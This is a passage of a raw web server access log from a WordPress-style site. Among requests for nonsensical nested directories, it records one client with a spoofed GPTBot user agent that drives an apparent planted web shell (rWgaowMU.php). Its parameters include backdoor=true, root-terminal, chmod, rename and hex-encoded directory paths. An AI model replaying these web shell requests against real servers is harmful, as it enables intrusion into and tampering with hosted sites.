/assets/css/js/includes/themes/twentytwentyfour/assets/ HTTP/1.1" 200 629 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/121.0.0.0 Safari/537.36 Edg/121.0.0.0" 14.191.222.7 - - [17/Nov/2025:12:37:59 +0000] "GET /assets/assets-20251112184145/css/wp/includes/jquery/wp/ HTTP/1.1" 200 662 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/122.0.0.0 Safari/537.36 Agency/98.8.8175.80" 91.226.166.148 - - [17/Nov/2025:12:38:02 +0000] "GET /assets/jcfxeds/wp-content/jcfxeds/jcfxeds/wp-content/wp-content/ HTTP/1.1" 200 633 "-" "Mozilla/5.0 (Linux; Android 10; K) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/122.0.0.0 Mobile Safari/537.36" 74.7.227.184 - - [17/Nov/2025:12:37:59 +0000] "GET /assets/wp-content/themes/twentytwenty/inc/wp/rWgaowMU.php?chmod=backuply&dir=2f686f6d652f6570696367616d65727a6f6e65636f2f666c6f7261657373656e63652e636f2e756b2f6173736574732f77702d636f6e74656e742f77702d696e636c756465732f77702d636f6e74656e7461612f6a732f6a732f696e636c756465732f637373 HTTP/2" 200 3536 "-" "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; GPTBot/1.3; +https://openai.com/gptbot)" 158.140.191.76 - - [17/Nov/2025:12:37:59 +0000] "GET /assets/upgrade/js/js/includes/css/js/ HTTP/1.1" 200 639 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/121.0.0.0 Safari/537.36 Edg/121.0.0.0" 14.191.47.24 - - [17/Nov/2025:12:37:59 +0000] "GET /assets/blocks/js/includes/themes/twentytwentyfour/assets/ HTTP/1.1" 200 630 "-" "Mozilla/5.0 (iPhone; CPU iPhone OS 17_0_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/17.0 Mobile/15E148 Safari/604.1 OPT/4.3.1" 14.169.243.160 - - [17/Nov/2025:12:38:02 +0000] "GET /assets/upgrade/js/js/js/jquery/wp/ HTTP/1.1" 200 645 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/121.0.0.0 Safari/537.36 Edg/121.0.0.0" 14.191.80.216 - - [17/Nov/2025:12:38:02 +0000] "GET /assets/backuply/includes/includes/includes/css/plugins/ HTTP/1.1" 200 689 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/121.0.0.0 Safari/537.36 Edg/121.0.0.0" 74.7.227.184 - - [17/Nov/2025:12:38:03 +0000] "GET /assets/wp-content/themes/twentytwenty/inc/wp/rWgaowMU.php?chmod=jcfxeds&dir=2f686f6d652f6570696367616d65727a6f6e65636f2f666c6f7261657373656e63652e636f2e756b2f77702d61646d696e61612f77702d61646d696e61612f696e636c756465732f6a6366786564732f77702d636f6e74656e742f6a636678656473 HTTP/2" 200 3228 "-" "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; GPTBot/1.3; +https://openai.com/gptbot)" 14.176.244.167 - - [17/Nov/2025:12:38:05 +0000] "GET /assets/backuply/jquery/css/themes/twentytwentyfour/templates/ HTTP/1.1" 200 636 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_12_5; rv:123.0esr) Gecko/20100101 Firefox/123.0esr" 74.7.227.184 - - [17/Nov/2025:12:38:05 +0000] "GET /assets/wp-content/themes/twentytwenty/inc/wp/rWgaowMU.php?dir=2f686f6d652f6570696367616d65727a6f6e65636f2f666c6f7261657373656e63652e636f2e756b2f77702d61646d696e61612f77702d61646d696e61612f6e6574776f726b2f696e636c756465732f6a6366786564732f77702d61646d696e6161&rename=jcfxeds HTTP/2" 200 3219 "-" "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; GPTBot/1.3; +https://openai.com/gptbot)" 14.245.68.122 - - [17/Nov/2025:12:38:06 +0000] "GET /assets/assets-20251112184145/img/includes/includes/jcfxeds/jcfxeds/ HTTP/1.1" 200 638 "-" "Mozilla/5.0 (iPhone; CPU iPhone OS 17_0 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) EdgiOS/119.0.2151.105 Version/17.0 Mobile/15E148 Safari/604.1" 14.230.74.40 - - [17/Nov/2025:12:38:06 +0000] "GET /assets/includes/includes/includes/includes/css/blocks/ HTTP/1.1" 200 620 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/121.0.0.0 Safari/537.36 Edg/121.0.0.0" 14.245.64.135 - - [17/Nov/2025:12:38:06 +0000] "GET /assets/assets-20251112184145/css/wp/includes/jcfxeds/wp-content/ HTTP/1.1" 200 642 "-" "Mozilla/5.0 (Android 11; Mobile; rv:123.0) Gecko/123.0 Firefox/123.0" 74.7.227.184 - - [17/Nov/2025:12:38:07 +0000] "GET /assets/wp-content/themes/twentytwenty/inc/wp/rWgaowMU.php?dir=2f686f6d652f6570696367616d65727a6f6e65636f2f666c6f7261657373656e63652e636f2e756b2f77702d61646d696e61612f77702d61646d696e61612f696e636c756465732f6a6366786564732f6a6366786564732f77702d636f6e74656e74&rename=wp-adminaa HTTP/2" 200 3246 "-" "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; GPTBot/1.3; +https://openai.com/gptbot)" 14.191.167.72 - - [17/Nov/2025:12:38:08 +0000] "GET /assets/backuply-20251107214702/wp/includes/includes/css/jquery/ HTTP/1.1" 200 641 "-" "Mozilla/5.0 (Linux; Android 10; K) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/122.0.0.0 Mobile Safari/537.36" 222.252.67.100 - - [17/Nov/2025:12:38:08 +0000] "GET /assets/css/js/includes/plugins/pagelayer/images/ HTTP/1.1" 200 625 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/122.0.0.0 Safari/537.36" 14.191.193.107 - - [17/Nov/2025:12:38:09 +0000] "GET /assets/assets-20251112184145/css/plugins/siteseo/assets/img/ HTTP/1.1" 200 639 "-" "Mozilla/5.0 (Linux; Android 10; K) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/121.0.0.0 Mobile Safari/537.36 EdgA/121.0.0.0" 123.28.117.45 - - [17/Nov/2025:12:38:09 +0000] "GET /assets/backuply-20251107214702/js/wp-content/wp-adminaa/includes/jcfxeds/ HTTP/1.1" 200 709 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/121.0.0.0 Safari/537.36 Edg/121.0.0.0 Viewer/99.9.9009.89" 74.7.227.184 - - [17/Nov/2025:12:38:10 +0000] "GET /assets/wp-content/themes/twentytwenty/inc/wp/rWgaowMU.php?chmod=includes&dir=2f686f6d652f6570696367616d65727a6f6e65636f2f666c6f7261657373656e63652e636f2e756b2f6173736574732f77702d636f6e74656e742f77702d61646d696e61612f77702d61646d696e61612f6e6574776f726b2f696e636c75646573 HTTP/2" 200 3233 "-" "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; GPTBot/1.3; +https://openai.com/gptbot)" 157.20.218.122 - - [17/Nov/2025:12:38:10 +0000] "GET /assets/backuply/js/js/includes/backuply/wp/ HTTP/1.1" 200 698 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/121.0.0.0 Safari/537.36 Edg/121.0.0.0 Unique/97.7.7239.70" 113.172.116.101 - - [17/Nov/2025:12:38:11 +0000] "GET /assets/wp-includes/wp-contentaa/js/includes/css/backuply/ HTTP/1.1" 200 635 "-" "Mozilla/5.0 (iPhone; CPU iPhone OS 17_0 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) EdgiOS/116.0.1938.72 Version/17.0 Mobile/15E148 Safari/604.1" 74.7.227.184 - - [17/Nov/2025:12:38:12 +0000] "GET /assets/wp-content/themes/twentytwenty/inc/wp/rWgaowMU.php?backdoor=true&dir=2f686f6d652f6570696367616d65727a6f6e65636f2f666c6f7261657373656e63652e636f2e756b2f6173736574732f77702d636f6e74656e742f77702d696e636c756465732f77702d636f6e74656e7461612f6a732f6a732f696e636c75646573 HTTP/2" 200 3243 "-" "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; GPTBot/1.3; +https://openai.com/gptbot)" 14.167.30.130 - - [17/Nov/2025:12:38:13 +0000] "GET /assets/plugins/js/includes/css/plugins/siteseo/ HTTP/1.1" 200 628 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/122.0.0.0 Safari/537.36 Config/92.2.2788.20" 113.172.125.42 - - [17/Nov/2025:12:38:13 +0000] "GET /wp-content/themes/twentytwenty/inc/includes/js/jquery/ HTTP/1.1" 200 627 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/121.0.0.0 Safari/537.36 Edg/121.0.0.0 Trailer/92.3.3357.27" 74.7.227.184 - - [17/Nov/2025:12:38:15 +0000] "GET /assets/wp-content/themes/twentytwenty/inc/wp/rWgaowMU.php?dir=2f686f6d652f6570696367616d65727a6f6e65636f2f666c6f7261657373656e63652e636f2e756b2f6373732f77702d696e636c756465732f77702d636f6e74656e7461612f6a732f696e636c756465732f696e636c756465732f637373&rename=jquery HTTP/2" 200 3465 "-" "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; GPTBot/1.3; +https://openai.com/gptbot)" 14.171.127.243 - - [17/Nov/2025:12:38:16 +0000] "GET /assets/wp-includes/wp-contentaa/js/includes/jcfxeds/wp-adminaa/ HTTP/1.1" 200 640 "-" "Mozilla/5.0 (Linux; Android 10; K) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/122.0.0.0 Mobile Safari/537.36" 113.167.228.248 - - [17/Nov/2025:12:38:18 +0000] "GET /assets/assets-20251112184145/backuply-20251107214702/wp/js/backuply/wp/ HTTP/1.1" 200 721 "-" "Mozilla/5.0 (iPhone; CPU iPhone OS 15_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) CriOS/122.0.6261.62 Mobile/15E148 Safari/604.1" 190.245.52.153 - - [17/Nov/2025:12:38:03 +0000] "GET /assets/backuply/wp-includes/wp-contentaa/js/backuply/wp/ HTTP/1.1" 200 702 "-" "Mozilla/5.0 (Linux; Android 10; K) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/122.0.0.0 Mobile Safari/537.36" 222.254.145.44 - - [17/Nov/2025:12:38:07 +0000] "GET /assets/backuply/jquery/js/includes/css/network/ HTTP/1.1" 200 627 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/121.0.0.0 Safari/537.36 Edg/121.0.0.0" 113.189.95.87 - - [17/Nov/2025:12:38:07 +0000] "GET /assets/backuply-20251107214702/wp/includes/jcfxeds/wp-adminaa/jcfxeds/ HTTP/1.1" 200 676 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/121.0.0.0 Safari/537.36 Edg/121.0.0.0 AtContent/95.5.5392.49" 14.225.58.164 - - [17/Nov/2025:12:38:13 +0000] "GET /assets/fonts/js/js/includes/css/backuply/ HTTP/1.1" 200 624 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/121.0.0.0 Safari/537.36 Edg/121.0.0.0" 181.89.105.19 - - [17/Nov/2025:12:38:14 +0000] "GET /assets/includes/css/themes/twentytwentythree/patterns/wp/ HTTP/1.1" 200 663 "-" "Mozilla/5.0 (Linux; Android 10; K) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/122.0.0.0 Mobile Safari/537.36" 14.191.222.96 - - [17/Nov/2025:12:38:14 +0000] "GET /assets/img/network/includes/jcfxeds/jcfxeds/wp-content/ HTTP/1.1" 200 656 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/122.0.0.0 Safari/537.36" 14.191.240.167 - - [17/Nov/2025:12:38:15 +0000] "GET /assets/assets-20251112184145/themes/twentytwenty/inc/includes/upgrade/ HTTP/1.1" 200 647 "-" "Mozilla/5.0 (iPhone; CPU iPhone OS 17_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) EdgiOS/121.0.2277.107 Version/17.0 Mobile/15E148 Safari/604.1" 14.237.127.127 - - [17/Nov/2025:12:38:16 +0000] "GET /assets/backuply-20251107214702/js/includes/css/blocks/wp/ HTTP/1.1" 200 668 "-" "Mozilla/5.0 (Linux; Android 10; K) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/122.0.0.0 Mobile Safari/537.36" 14.230.68.114 - - [17/Nov/2025:12:38:18 +0000] "GET /assets/assets-20251112184145/includes/jcfxeds/wp-contentaa/jcfxeds/jcfxeds/ HTTP/1.1" 200 648 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/121.0.0.0 Safari/537.36 Edg/121.0.0.0" 113.182.110.69 - - [17/Nov/2025:12:38:18 +0000] "GET /assets/assets-20251112184145/blocks/js/includes/blocks/wp/ HTTP/1.1" 200 661 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/122.0.0.0 Safari/537.36" 113.175.130.11 - - [17/Nov/2025:12:38:20 +0000] "GET /assets/jcfxeds/wp-contentaa/jcfxeds/jcfxeds/wp-content/wp-content/ HTTP/1.1" 200 630 "-" "Mozilla/5.0 (iPhone; CPU iPhone OS 17_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) EdgiOS/120.0.2210.150 Version/17.0 Mobile/15E148 Safari/604.1" 201.182.108.242 - - [17/Nov/2025:12:38:21 +0000] "GET /assets/includes/includes/css/plugins/pagelayer/images/ HTTP/1.1" 200 626 "-" "Mozilla/5.0 (Android 11; Mobile; rv:123.0) Gecko/123.0 Firefox/123.0" 14.169.97.234 - - [17/Nov/2025:12:38:22 +0000] "GET /assets/wp-includes/network/includes/jcfxeds/wp-contentaa/jcfxeds/ HTTP/1.1" 200 634 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/121.0.0.0 Safari/537.36 Edg/121.0.0.0" 123.26.49.187 - - [17/Nov/2025:12:38:23 +0000] "GET /assets/backuply/plugins/backuply/assets/css/wp/ HTTP/1.1" 200 648 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/122.0.0.0 Safari/537.36" 14.179.190.48 - - [17/Nov/2025:12:38:24 +0000] "GET /assets/img/network/js/includes/plugins/pagelayer/ HTTP/1.1" 200 647 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/122.0.0.0 Safari/537.36" 74.7.227.184 - - [17/Nov/2025:12:38:19 +0000] "GET /assets/wp-content/themes/twentytwenty/inc/wp/rWgaowMU.php?backdoor=true&dir=2f686f6d652f6570696367616d65727a6f6e65636f2f666c6f7261657373656e63652e636f2e756b2f6173736574732f696e636c756465732f77702d61646d696e61612f77702d61646d696e61612f6e6574776f726b2f696e636c75646573 HTTP/2" 200 3120 "-" "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; GPTBot/1.3; +https://openai.com/gptbot)" 186.61.137.105 - - [17/Nov/2025:12:38:20 +0000] "GET /assets/wp-includes/wp-contentaa/js/js/includes/css/ HTTP/1.1" 200 1032 "-" "Mozilla/5.0 (iPhone; CPU iPhone OS 17_0 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/17.0 Mobile/15E148 Safari/604.1" 14.168.56.77 - - [17/Nov/2025:12:38:20 +0000] "GET /assets/backuply/css/wp/js/backuply/wp/ HTTP/1.1" 200 694 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/121.0.0.0 Safari/537.36 Edg/121.0.0.0" 74.7.227.184 - - [17/Nov/2025:12:38:22 +0000] "GET /assets/wp-content/themes/twentytwenty/inc/wp/rWgaowMU.php?chmod=includes&dir=2f686f6d652f6570696367616d65727a6f6e65636f2f666c6f7261657373656e63652e636f2e756b2f6173736574732f77702d61646d696e61612f77702d61646d696e61612f6e6574776f726b2f6a732f6a732f6a732f696e636c756465732f696e636c75646573 HTTP/2" 200 3232 "-" "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; GPTBot/1.3; +https://openai.com/gptbot)" 186.139.113.234 - - [17/Nov/2025:12:38:22 +0000] "GET /assets/assets-20251112184145/js/assets/includes/themes/twentytwentyfour/ HTTP/1.1" 200 677 "-" "Mozilla/5.0 (Linux; Android 8.1.0; C5 2019 Build/OPM2.171019.012) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/122.0.6261.64 Mobile Safari/537.36" 74.7.227.184 - - [17/Nov/2025:12:38:24 +0000] "GET /assets/wp-content/themes/twentytwenty/inc/wp/rWgaowMU.php?action=root-terminal&dir=2f686f6d652f6570696367616d65727a6f6e65636f2f666c6f7261657373656e63652e636f2e756b2f77702d696e636c756465732f77702d636f6e74656e7461612f6a732f696e636c756465732f696e636c756465732f6373732f706c7567696e73 HTTP/2" 200 3417 "-" "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; GPTBot/1.3; +https://openai.com/gptbot)" 113.177.124.32 - - [17/Nov/2025:12:38:25 +0000] "GET /assets/wp-adminaa/js/includes/includes/jcfxeds/jcfxeds/ HTTP/1.1" 200 629 "-" "Mozilla/5.0 (iPhone; CPU iPhone OS 17_0_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/17.0 Mobile/15E148 Safari/604.1 OPT/4.3.1" 74.7.227.184 - - [17/Nov/2025:12:38:26 +0000] "GET /assets/wp-content/themes/twentytwenty/inc/wp/rWgaowMU.php?chmod=includes&dir=2f686f6d652f6570696367616d65727a6f6e65636f2f666c6f7261657373656e63652e636f2e756b2f6173736574732f77702d61646d696e61612f77702d61646d696e61612f6e6574776f726b2f6a732f696e636c756465732f696e636c75646573 HTTP/2" 200 3230 "-" "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; GPTBot/1.3; +https://openai.com/gptbot)" 14.187.128.141 - - [17/Nov/2025:12:38:27 +0000] "GET /assets/wp/themes/twentytwentythree/patterns/wp/KXSOVUiMFL.php HTTP/1.1" 403 1242 "-" "Mozilla/5.0 (iPhone; CPU iPhone OS 17_0 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) EdgiOS/119.0.2151.105 Version/17.0 Mobile/15E148 Safari/604.1" 113.172.169.5 - - [17/Nov/2025:12:38:28 +0000] "GET /assets/backuply-20251107214702/wp/includes/jcfxeds/jcfxeds/wp-content/ HTTP/1.1" 200 672 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/121.0.0.0 Safari/537.36 Edg/121.0.0.0" 74.7.227.184 - - [17/Nov/2025:12:38:28 +0000] "GET /assets/wp-content/themes/twentytwenty/inc/wp/rWgaowMU.php?action=terminal&dir=2f686f6d652f6570696367616d65727a6f6e65636f2f666c6f7261657373656e63652e636f2e756b2f6173736574732f77702d636f6e74656e742f77702d696e636c756465732f77702d636f6e74656e7461612f6a732f6a732f6a71756572792f7770 HTTP/2" 200 3314 "-" "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; GPTBot/1.3; +https://openai.com/gptbot)" 2.57.83.94 - - [17/Nov/2025:12:38:28 +0000] "GET /assets/includes/js/includes/jcfxeds/wp-contentaa/wp-adminaa/ HTTP/1.1" 200 639 "-" "Mozilla/5.0 (iPad; CPU OS 17_0_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/17.0.1 Mobile/15E148 Safari/604.1" 74.7.227.184 - - [17/Nov/2025:12:38:30 +0000] "GET /assets/wp-content/themes/twentytwenty/inc/wp/rWgaowMU.php?dir=2f686f6d652f6570696367616d65727a6f6e65636f2f666c6f7261657373656e63652e636f2e756b2f77702d61646d696e61612f77702d61646d696e61612f6e6574776f726b2f696e636c756465732f6a6366786564732f6a636678656473&rename=wp-content HTTP/2" 200 3197 "-" "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; GPTBot/1.3; +https://openai.com/gptbot)" 190.137.9.244 - - [17/Nov/2025:12:38:32 +0000] "GET /assets/network/js/includes/css/js/jquery/ HTTP/1.1" 200 624 "-" "Mozilla/5.0 (Linux; Android 10; K) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/122.0.0.0 Mobile Safari/537.36" 74.7.227.184 - - [17/Nov/2025:12:38:33 +0000] "GET /assets/wp-content/themes/twentytwenty/inc/wp/rWgaowMU.php?chmod=jcfxeds&dir=2f686f6d652f6570696367616d65727a6f6e65636f2f666c6f7261657373656e63652e636f2e756b2f6173736574732f696e636c756465732f77702d61646d696e61612f77702d61646d696e61612f6e6574776f726b2f696e636c75646573 HTTP/2" 200 3227 "-" "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; GPTBot/1.3; +https://openai.com/gptbot)" 74.7.227.184 - - [17/Nov/2025:12:38:35 +0000] "GET /assets/wp-content/themes/twentytwenty/inc/wp/rWgaowMU.php?action=root-terminal&dir=2f686f6d652f6570696367616d65727a6f6e65636f2f666c6f7261657373656e63652e636f2e756b2f6373732f77702d696e636c756465732f77702d636f6e74656e7461612f6a732f696e636c756465732f696e636c756465732f6373732f6a73 HTTP/2" 200 3254 "-" "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; GPTBot/1.3; +https://openai.com/gptbot)" 74.7.227.184 - - [17/Nov/2025:12:38:37 +0000] "GET /assets/wp-content/themes/twentytwenty/inc/wp/rWgaowMU.php?chmod=includes&dir=2f686f6d652f6570696367616d65727a6f6e65636f2f666c6f7261657373656e63652e636f2e756b2f6a71756572792f77702d61646d696e61612f77702d61646d696e61612f6e6574776f726b2f6a732f696e636c756465732f696e636c75646573 HTTP/2" 200 3229 "-" "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; GPTBot/1.3; +https://openai.com/gptbot)" 14.191.83.190 - - [17/Nov/2025:12:38:38 +0000] "GET /assets/assets-20251112184145/upgrade/js/js/jquery/wp/ HTTP/1.1" 200 660 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/122.0.0.0 Safari/537.36" 14.190.108.125 - - [17/Nov/2025:12:38:38 +0000] "GET /assets/backuply-20251107214702/js/js/includes/network/wp/ HTTP/1.1" 200 661 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:123.0) Gecko/20100101 Firefox/123.0" 14.240.175.25 - - [17/Nov/2025:12:38:38 +0000] "GET /assets/assets-20251112184145/js/jquery/css/wp/includes/ HTTP/1.1" 200 658 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/121.0.0.0 Safari/537.36 Edg/121.0.0.0" 74.7.227.184 - - [17/Nov/2025:12:38:38 +0000] "GET /assets/wp-content/themes/twentytwenty/inc/wp/rWgaowMU.php?chmod=siteseo&dir=2f686f6d652f6570696367616d65727a6f6e65636f2f666c6f7261657373656e63652e636f2e756b2f77702d61646d696e61612f77702d61646d696e61612f6a732f696e636c756465732f696e636c756465732f6373732f706c7567696e73 HTTP/2" 200 3351 "-" "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; GPTBot/1.3; +https://openai.com/gptbot)" 14.191.222.150 - - [17/Nov/2025:12:38:39 +0000] "GET /assets/backuply/jquery/css/js/jquery/wp/ HTTP/1.1" 200 647 "-" "Mozilla/5.0 (iPhone; CPU iPhone OS 17_2 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) EdgiOS/120.0.2210.86 Version/17.0 Mobile/15E148 Safari/604.1" 14.225.57.207 - - [17/Nov/2025:12:38:40 +0000] "GET /assets/backuply/wp-adminaa/wp-adminaa/wp-adminaa/includes/blocks/ HTTP/1.1" 200 633 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/122.0.0.0 Safari/537.36" 105.105.102.198 - - [17/Nov/2025:12:38:25 +0000] "GET /assets/assets-20251112184145/css/wp/includes/jcfxeds/wp-contentaa/ HTTP/1.1" 200 686 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/122.0.0.0 Safari/537.36" 113.161.167.219 - - [17/Nov/2025:12:38:25 +0000] "GET /assets/backuply-20251107214702/network/js/includes/plugins/siteseo/ HTTP/1.1" 200 645 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:123.0) Gecko/20100101 Firefox/123.0 Config/92.2.7601.2" 123.27.207.36 - - [17/Nov/2025:12:38:26 +0000] "GET /assets/backuply-20251107214702/wp-includes/wp-contentaa/includes/jcfxeds/jcfxeds/ HTTP/1.1" 200 655 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/121.0.0.0 Safari/537.36 Edg/121.0.0.0" 113.178.97.246 - - [17/Nov/2025:12:38:26 +0000] "GET /assets/backuply/network/js/js/includes/includes/ HTTP/1.1" 200 640 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:123.0) Gecko/20100101 Firefox/123.0" 14.191.153.131 - - [17/Nov/2025:12:38:27 +0000] "GET /assets/backuply-20251107214702/network/js/js/includes/includes/ HTTP/1.1" 200 653 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/121.0.0.0 Safari/537.36 Edg/121.0.0.0" 14.168.174.190 - - [17/Nov/2025:12:38:29 +0000] "GET /assets/fonts/js/js/includes/css/jquery/ HTTP/1.1" 200 625 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/122.0.0.0 Safari/537.36" 14.191.14.197 - - [17/Nov/2025:12:38:30 +0000] "GET /assets/assets-20251112184145/js/assets/js/includes/jquery/ HTTP/1.1" 200 640 "-" "Mozilla/5.0 (Linux; Android 8.1.0; Moto G (4)) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/122.0.0.0 Mobile Safari/537.36 PTST/240201.144844" 14.230.129.9 - - [17/Nov/2025:12:38:30 +0000] "GET /assets/backuply-20251107214702/plugins/plugins/siteseo/assets/img/ HTTP/1.1" 200 644 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/121.0.0.0 Safari/537.36 Edg/121.0.0.0" 14.249.91.92 - - [17/Nov/2025:12:38:31 +0000] "GET /assets/assets-20251112184145/js/js/jquery/wp/ngRpwIPola.php HTTP/1.1" 200 6 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/122.0.0.0 Safari/537.36" 14.235.132.44 - - [17/Nov/2025:12:38:37 +0000] "GET /assets/backuply/wp-adminaa/wp-adminaa/wp-adminaa/includes/jquery/ HTTP/1.1" 200 632 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/121.0.0.0 Safari/537.36 Edg/121.0.0.0" 200.219.16.129 - - [17/Nov/2025:12:38:37 +0000] "GET /assets/assets-20251112184145/plugins/js/includes/includes/includes/ HTTP/1.1" 200 652 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:123.0) Gecko/20100101 Firefox/123.0" 123.25.198.112 - - [17/Nov/2025:12:38:39 +0000] "GET /assets/img/network/js/includes/plugins/siteseo/ HTTP/1.1" 200 629 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/121.0.0.0 Safari/537.36 Edg/121.0.0.0" 191.85.58.145 - - [17/Nov/2025:12:38:40 +0000] "GET /assets/backuply/wp-adminaa/wp-adminaa/wp-adminaa/js/blocks/ HTTP/1.1" 200 633 "-" "Mozilla/5.0 (iPhone; CPU iPhone OS 17_3_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/17.0 EdgiOS/121.2277.107 Mobile/15E148 Safari/605.1.15" 14.226.14.171 - - [17/Nov/2025:12:38:40 +0000] "GET /assets/backuply/jquery/wp-adminaa/js/js/includes/ HTTP/1.1" 200 636 "-" "Mozilla/5.0 (X11; Linux x86_64; rv:123.0) Gecko/20100101 Firefox/123.0" 113.173.202.19 - - [17/Nov/2025:12:38:43 +0000] "GET /assets/css/js/includes/includes/includes/css/ HTTP/1.1" 200 1021 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/121.0.0.0 Safari/537.36 Edg/121.0.0.0" 221.132.3.176 - - [17/Nov/2025:12:38:43 +0000] "GET 